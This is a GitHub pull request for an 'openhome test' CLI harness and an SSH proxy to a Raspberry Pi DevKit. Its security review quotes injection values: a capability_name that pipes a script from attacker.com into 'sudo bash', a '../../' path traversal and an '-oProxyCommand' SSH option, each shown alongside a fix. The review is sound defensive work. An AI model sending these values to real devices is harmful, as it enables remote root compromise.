feat: add openhome test — fire trigger + assert on frame stream#15
feat: add openhome test — fire trigger + assert on frame stream#15realdecimalist wants to merge 3 commits into
openhome test — fire trigger + assert on frame stream#15Conversation
`openhome chat` and `openhome trigger` are great for "did anything come back",
but iterating on a deployed ability still meant reading WebSocket logs by eye
and squinting for the right routing event / log line / spoken phrase. This
command turns that loop into a fast PASS/FAIL.
Usage:
openhome test "any new tickets" \
--expect-cap my-skill \
--expect-log "STEP A0" \
--expect-speak "Tickets:" \
--reject-speak "couldn't generate" \
--json
What it does:
- Opens a fresh voice-stream WS via the existing `createAgentSocket` helper
- Waits for the wake greeting (assistant final=true), then injects the trigger
- Watches the frame stream for: `chat_details:{name:...}` (cap routing),
`editor_logging_handler` log lines, and assistant final speech
- Exits 0 on success, 1 on missed assertion / timeout, 2 on setup error
Implementation notes:
- Reuses every WS abstraction the CLI already has — no new WebSocket lifecycle
code, just a new consumer of `createAgentSocket`'s `onTextMessage` / `onEvent`
callbacks
- Pure assertion tracker (`src/testing/asserts.ts`) and frame log
(`src/testing/frame-log.ts`) are unit-tested with vitest (12 tests added)
- `--json` shape matches the rest of the CLI (`{ok, error: {code, message}}`
on failure; `{ok, pass, asserts, elapsed_ms, log_file, ...}` on completion)
- Inherits `getApiKey()` precedence (env > keychain > config), agent
resolution, and interactive picker patterns from `trigger.ts` / `logs.ts`
Tested:
- `npm test` — 12/12 pass (existing repo had no tests; vitest config was
already in place, this is the first test file)
- `npm run build` — clean
- `npm run lint` — no new errors (pre-existing MockApiClient error on main)
- Smoke-tested AUTH_ERROR / BAD_REGEX paths return well-formed JSON + exit 2
- Used the standalone .mjs version of this same harness over the past week to
ship a real ability against the OpenHome cloud — assertions reliably catch
routing/log/speech regressions that voice-only testing misses
Local Abilities (the new `category: local`, announced 2026-05-04)
split execution: main.py runs in the cloud sandbox, devkit_functions.py
runs on the DevKit. When main.py calls send_devkit_capability_action(),
the cloud emits a `devkit-capability` frame and blocks awaiting a
`devkit-capability-result` ACK from the device.
Plain `openhome test` can't drive this round-trip: opening its own
voice-stream WS displaces the kiosk session, so the cloud routes the
dispatch back to the test harness rather than the Pi's node-server.
The harness records the frame but has no way to invoke
devkit_functions.py — main.py's await times out at ~8s with
`output: null`. End result: every Local Ability test fails to even
exercise the device-side code.
Fix: --proxy-pi <ssh-target> makes the test command mirror exactly
what the DevKit's node-server does on receipt of the frame
(`openhome-node-server/index.js:585+`):
sudo python3 <cap_dir>/<capability_name>/devkit_functions.py \
<function_name> <args...>
We capture stdout and ACK via `devkit-capability-result` on the
same WS. The cloud is none the wiser; main.py's await resolves with
the function's stdout, and speak() fires.
New flags:
--proxy-pi <ssh-target> e.g. openhome@192.168.1.42
--proxy-pi-cap-dir <path> override the local_capabilities path
The proxy logic lives in src/testing/devkit-proxy.ts as small pure
helpers (shq for shell quoting, buildRemoteCommand, buildResultFrame)
plus an injectable `exec` hook so the integration is unit-testable
without touching subprocess. 17 new tests cover quoting edge cases,
command construction, frame shape, and dispatch semantics. Total
suite goes from 12 → 29 tests, all passing.
Verified end-to-end against a real Local Ability (Penny's discord-pulse
rebuild) on the author's stack:
$ "ticket pulse" → 14s PASS, agent speaks the live ticket count
$ "team pulse" → 11s PASS, full multi-queue summary
$ "approval pulse" → 11s PASS, approvals snapshot
Without this flag, every Local Ability deployed via `openhome deploy`
would need manual on-device voice testing — minutes per cycle vs. the
harness's <30s. With it, the test command is a strict superset of its
prior behavior (proxying only fires when the flag is set).
|
Hey @Bradymck — quick update on this PR. With Local Abilities shipping last week, I extended the harness so it can drive end-to-end tests of The new Verified end-to-end against the discord-pulse rebuild I shipped this morning as a Local Ability:
Total test count went 12 → 29 ( Happy to split this into a separate PR after #15 lands if you'd prefer to keep the initial harness review focused — let me know. |
sentientari-commits
left a comment
There was a problem hiding this comment.
Really solid contribution — the --proxy-pi approach to the kiosk displacement problem is clever and the code is well-structured. Two blocking security issues in devkit-proxy.ts before this can merge, plus a few smaller items. All fixes are small.
Blocking:
capability_nameandfunction_namefrom the cloud WebSocket are embedded in an SSH shell command without sanitization — command injection + path traversal → RCE on the Pi undersudocapDirhas the same problem inbuildRemoteCommand- Missing
--before the SSH target — SSH option injection
Non-blocking:
4. Unhandled promise rejection on handleDevkitCapability — silent crash in Node 15+
5. reject-speak hit doesn't settle fast — always shows reason: "timeout" instead of the actual rejection
Happy to discuss any of these. See inline comments for specifics.
| function_name: string | null; | ||
| args: unknown[]; | ||
| success: boolean; | ||
| output: string | null; |
There was a problem hiding this comment.
[BLOCKING] Command injection + path traversal → RCE on Pi
capability_name arrives from the OpenHome cloud WebSocket and is interpolated directly into the remote shell command with no validation. shq() is applied to functionName and args but not to capabilityName, and it wouldn't help anyway — shq() prevents word splitting but doesn't strip shell metacharacters or path traversal sequences.
Two distinct attack vectors from the same root:
Shell injection — cloud sends:
{ "capability_name": "foo; curl https://attacker.com/shell.sh | sudo bash #" }Remote shell sees:
sudo python3 /home/openhome/.../foo; curl https://attacker.com/shell.sh | sudo bash #/devkit_functions.py 'run'Path traversal — cloud sends:
{ "capability_name": "../../../../../../tmp/evil" }Resolves to sudo python3 /tmp/evil/devkit_functions.py — arbitrary file execution as root.
The sudo prefix makes both high severity. Fix with a strict allowlist at the entry point in handleDevkitCapability:
const SAFE_IDENT = /^[a-zA-Z0-9_-]+$/;
if (!SAFE_IDENT.test(cap) || !SAFE_IDENT.test(fn)) {
return {
type: "devkit-capability-result",
data: { capability_name: cap ?? null, function_name: fn ?? null, args: [], success: false, output: null, error: "capability_name and function_name must be alphanumeric, hyphen, or underscore only" },
};
}Also wrap script in shq() as defence-in-depth:
return `sudo python3 ${shq(script)} ${shq(functionName)}${argsShell ? " " + argsShell : ""}`;| function_name: string | null; | ||
| args: unknown[]; | ||
| success: boolean; | ||
| output: string | null; |
There was a problem hiding this comment.
[BLOCKING] capDir is also unquoted in the shell command
Same issue as capability_name — capDir comes from --proxy-pi-cap-dir (CLI flag, so trusted today) but is never passed through shq() before being embedded in the remote shell command string. Any future code path that sources capDir from less-trusted input would be immediately exploitable.
Fix: shq(capDir) in the path construction:
const script = `${shq(capDir)}/${capabilityName}/devkit_functions.py`;(After the SAFE_IDENT allowlist guard on capabilityName above is also in place.)
| const DEFAULT_CAP_DIR = "/home/openhome/openhome_devkit/local_capabilities"; | ||
|
|
||
| /** | ||
| * POSIX shell-escape a string. Wraps in single quotes and escapes any |
There was a problem hiding this comment.
[BLOCKING] SSH option injection — missing -- before target
target is passed directly as a positional argument to spawn('ssh', [..., target, command]). SSH parses arguments left-to-right and treats anything starting with - as an option, not a hostname. A target like -oProxyCommand=malicious_cmd user@host would inject an SSH ProxyCommand, executing an arbitrary local command.
While --proxy-pi is a CLI flag (trusted in normal use), adding -- is a one-character fix that closes the injection surface permanently:
const child = spawn("ssh", [
"-o", "BatchMode=yes",
"-o", `ConnectTimeout=${SSH_CONNECT_TIMEOUT_S}`,
"--", // <-- prevent option injection
target,
command,
]);| triggerSent = true; | ||
| setTimeout(() => { | ||
| if (settled) return; | ||
| log.push("test", `sending trigger "${trigger}"`); |
There was a problem hiding this comment.
[Non-blocking] Unhandled promise rejection — silent crash in Node 15+
handleDevkitCapability(...).then(...) has no .catch(). sshExec resolves rather than rejects on SSH failure, so the happy path is fine — but any unexpected throw inside handleDevkitCapability or buildRemoteCommand produces an unhandled rejection. In Node.js 15+, that crashes the process with no output, no log file written, and settle() never called, so CI consumers get nothing instead of a failure result.
handleDevkitCapability(frame, { sshTarget: opts.proxyPi, capDir: opts.proxyPiCapDir })
.then((resultFrame) => {
log.push("proxy-pi", `result success=${resultFrame.data.success}`);
socket.send(resultFrame.type, resultFrame.data);
})
.catch((err) => {
const msg = err instanceof Error ? err.message : String(err);
log.push("proxy-pi-error", msg);
settle({ pass: false, reason: `devkit proxy error: ${msg}` });
socket.close();
});| if (this.speakSeen.some((s) => !s)) return false; | ||
| return true; | ||
| } | ||
|
|
There was a problem hiding this comment.
[Non-blocking] reject-speak hit doesn't fail fast — always reports timeout as the reason
When a rejectSpeak pattern fires, done() returns false permanently. The onEvent handler in test.ts only calls settle() when asserts.done() is true, so the run continues until the timeout fires and settles with reason: "timeout" — masking the actual rejection. The asserts.toRecords() output does show the reject hit, but the top-level reason string is misleading, especially in CI --json output.
In test.ts onEvent, add a fast-settle check after each observeAssistantSpeak call:
if (asserts.rejected()) {
const hit = asserts.toRecords().find(r => r.kind === 'reject' && r.hit)?.hit ?? '';
settle({ pass: false, reason: `rejected-speak: ${hit.slice(0, 120)}` });
socket.close();
return;
}Posted from wrong account — review stands, re-filed by @Bradymck
Bradymck
left a comment
There was a problem hiding this comment.
Really solid contribution — the --proxy-pi approach to the kiosk displacement problem is clever and the code is well-structured. Two blocking security issues in devkit-proxy.ts before this can merge, plus a few smaller items. All fixes are small.
Blocking:
capability_nameandfunction_namefrom the cloud WebSocket are embedded in an SSH shell command without sanitization — command injection + path traversal → RCE on the Pi undersudocapDirhas the same problem inbuildRemoteCommand- Missing
--before the SSH target — SSH option injection
Non-blocking:
4. Unhandled promise rejection on handleDevkitCapability — silent crash in Node 15+
5. reject-speak hit doesn't settle fast — always shows reason: "timeout" instead of the actual rejection
Happy to discuss any of these. See inline comments for specifics.
| function_name: string | null; | ||
| args: unknown[]; | ||
| success: boolean; | ||
| output: string | null; |
There was a problem hiding this comment.
[BLOCKING] Command injection + path traversal → RCE on Pi
capability_name arrives from the OpenHome cloud WebSocket and is interpolated directly into the remote shell command without validation. shq() is applied to functionName and args but not to capabilityName — and even if it were, shq() prevents word splitting but does not strip shell metacharacters or ../ path traversal.
Shell injection — cloud sends { "capability_name": "foo; curl https://attacker.com/shell.sh | sudo bash #" }, remote shell executes the curl as a separate command with sudo context.
Path traversal — cloud sends { "capability_name": "../../../../../../tmp/evil" }, resolves to sudo python3 /tmp/evil/devkit_functions.py.
Fix: allowlist at the handleDevkitCapability entry point before anything reaches buildRemoteCommand:
const SAFE_IDENT = /^[a-zA-Z0-9_-]+$/;
if (!SAFE_IDENT.test(cap) || !SAFE_IDENT.test(fn)) {
return { type: "devkit-capability-result", data: { ..., success: false, error: "capability_name/function_name must be [a-zA-Z0-9_-] only" } };
}Also add shq(script) in buildRemoteCommand as defence-in-depth:
return `sudo python3 ${shq(script)} ${shq(functionName)}...`;| function_name: string | null; | ||
| args: unknown[]; | ||
| success: boolean; | ||
| output: string | null; |
There was a problem hiding this comment.
[BLOCKING] capDir is also unquoted in the shell command
Same root cause — capDir is never passed through shq() before being embedded in the remote shell string. Today it comes from --proxy-pi-cap-dir (a CLI flag, so trusted), but it is unquoted in a shell context. If this path is ever sourced from less-trusted input it is immediately injectable.
One-line fix in buildRemoteCommand:
const script = `${shq(capDir)}/${capabilityName}/devkit_functions.py`;(The SAFE_IDENT guard on capabilityName still needs to be the primary control.)
| const DEFAULT_CAP_DIR = "/home/openhome/openhome_devkit/local_capabilities"; | ||
|
|
||
| /** | ||
| * POSIX shell-escape a string. Wraps in single quotes and escapes any |
There was a problem hiding this comment.
[BLOCKING] Missing -- before SSH target — option injection
target is passed as a positional argument to spawn("ssh", [..., target, command]) with no separator. SSH parses anything starting with - as a flag, not a hostname. A value like -oProxyCommand=malicious_cmd user@host would inject an SSH directive and execute an arbitrary local command.
One-character fix:
const child = spawn("ssh", [
"-o", "BatchMode=yes",
"-o", `ConnectTimeout=${SSH_CONNECT_TIMEOUT_S}`,
"--", // prevents option injection
target,
command,
]);| log.push("test", `sending trigger "${trigger}"`); | ||
| socket.send("transcribed", trigger); | ||
| }, TRIGGER_DELAY_MS); | ||
| return; |
There was a problem hiding this comment.
[Non-blocking] Unhandled promise rejection — silent crash in Node 15+
handleDevkitCapability(...).then(...) has no .catch(). sshExec resolves rather than rejects on SSH failure, so the common path is fine — but any unexpected throw inside handleDevkitCapability or buildRemoteCommand produces an unhandled rejection. In Node 15+, that terminates the process immediately with no log file written and no JSON output.
handleDevkitCapability(frame, { sshTarget: opts.proxyPi, capDir: opts.proxyPiCapDir })
.then((resultFrame) => {
log.push("proxy-pi", `result success=${resultFrame.data.success}`);
socket.send(resultFrame.type, resultFrame.data);
})
.catch((err) => {
const msg = err instanceof Error ? err.message : String(err);
log.push("proxy-pi-error", msg);
settle({ pass: false, reason: `devkit proxy error: ${msg}` });
socket.close();
});| if (this.speakSeen.some((s) => !s)) return false; | ||
| return true; | ||
| } | ||
|
|
There was a problem hiding this comment.
[Non-blocking] reject-speak hit always reports reason: "timeout" instead of the actual rejection
When a rejectSpeak pattern fires, done() returns false permanently. The onEvent handler in test.ts only calls settle() when asserts.done() is true, so the run keeps going until the timeout fires — then exits with reason: "timeout" rather than indicating the rejection. The asserts.toRecords() output does show which pattern fired, but the top-level reason string is misleading in --json CI output.
In test.ts onEvent, add a fast-settle check after each observeAssistantSpeak call:
if (asserts.rejected()) {
const hit = asserts.toRecords().find(r => r.kind === "reject" && r.hit)?.hit ?? "";
settle({ pass: false, reason: `rejected-speak: ${hit.slice(0, 120)}` });
socket.close();
return;
}…n guard, unhandled-rejection catch, reject-speak fast-settle Per Bradymck's review of openhome-dev#15: Blocking (security): - Add SAFE_IDENT (/^[a-zA-Z0-9_-]+$/) allowlist for capability_name and function_name at the handleDevkitCapability entry point — prevents shell-metacharacter injection and ../../ path traversal before anything reaches the remote sudo invocation. Returns a result frame with success=false and a clear error message; never calls exec. - shq()-wrap the script path in buildRemoteCommand as defence-in-depth. Even with the allowlist, no untrusted value should land in shell context unquoted. (capDir is CLI-flag-only today, but this future-proofs the surface.) - Add `--` before the SSH target in sshExec so a target starting with `-` can't be interpreted as an SSH option (e.g. -oProxyCommand=malicious_cmd). Non-blocking: - Add .catch() to handleDevkitCapability() in test.ts onEvent. Without it, any throw inside the proxy path becomes an unhandled rejection; Node 15+ terminates the process with no log file written and no JSON output. The catch routes the failure into settle() so CI consumers get a useful result instead of a silent kill. - Add a fast-settle on asserts.rejected() right after each observeAssistantSpeak. Without this, a reject-speak hit keeps done() returning false until the timeout fires, and the top-level reason in --json output reads "timeout" instead of the actual rejection. The reject text now flows through as the reason. Tests: - Update three buildRemoteCommand expectations for the new shq(script) wrap. - Add 4 new cases covering the security allowlist: shell injection in capability_name, path traversal in capability_name, shell injection in function_name, and a happy-path that confirms exec is still called for well-formed identifiers and the path is shq-wrapped. 29 → 33 tests, all passing. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
|
Thanks for the thorough review @Bradymck — really appreciate the security walk-through. Just pushed Blocking (security):
Non-blocking:
Tests: updated 3 No behavioral changes for the happy path on existing callers. Let me know if you want any additional cases. |
Hi @Bradymck — per your suggestion in Discord about whether the harness I shared was worth merging into the CLI: here's a port. This turns the standalone
voice-test.mjswe've been using on the DevKit into a proper subcommand.Why
openhome chatandopenhome triggerare great for "did anything come back", but iterating on a deployed ability still means reading WebSocket logs by eye and squinting for the right routing event / log line / spoken phrase. With the cloud module cache lag and routing nondeterminism, a tight assertion-based loop is the difference between 30s iterations and 5–15min ones.Real-world motivation:
exec_local_command-from-skill silent hangs (abilities#260) andsession_tasks.create(self.run())coroutine cancellation (abilities#261) — bugs we couldn't have characterized confidently without watching the frame stream programmatically across many runsWhat it does
createAgentSockethelperfinal=true), then injects the triggerchat_details:{name:...}(cap routing),editor_logging_handlerlog lines, and final assistant speech0on success,1on missed assertion / timeout,2on setup error--jsonreturns{ok, pass, asserts: [{kind, expression, met}...], elapsed_ms, log_file, agent, trigger}Implementation
createAgentSocket'sonTextMessage/onEventcallbacksgetApiKey()precedence (env > keychain > config), agent resolution, and interactive-picker patterns fromtrigger.ts/logs.ts--jsonshape matches the rest of the CLI:{ok: false, error: {code, message}}on failuresrc/testing/asserts.ts,src/testing/frame-log.ts) are isolated from I/O so they're trivially unit-testableFiles
src/commands/test.tssrc/testing/asserts.tssrc/testing/frame-log.ts--log-filedebuggingsrc/testing/asserts.test.tssrc/testing/frame-log.test.tssrc/cli.tstestsubcommand + agent-reference docREADME.mdopenhome testsection + API-status rowTested
npm test— 12/12 pass (this is the first test file in the repo; vitest config was already in place)npm run build— cleannpm run lint— no new errors (the pre-existingMockApiClienterror is unrelated and onmain)AUTH_ERROR/BAD_REGEX/MISSING_TRIGGERpaths return well-formed JSON + exit 2.mjsancestor of this same harness over the past week to ship a real Penny ability against the OpenHome cloud — assertions caught routing regressions that voice-only testing missedCaveat (documented in the README + JSON output)
openhome testopens a new voice-stream WS to the same agent, so if a hardware client (e.g. the OpenHome DevKit kiosk) is currently connected, the cloud will close that session ("Connection Replaced", code 1000). Iterate withtest, then bring the hardware back online for final verification.Happy to take feedback on the command name (
testvsassertvsvoice-test), the JSON shape, or anything else. Thanks for the prompt to upstream this!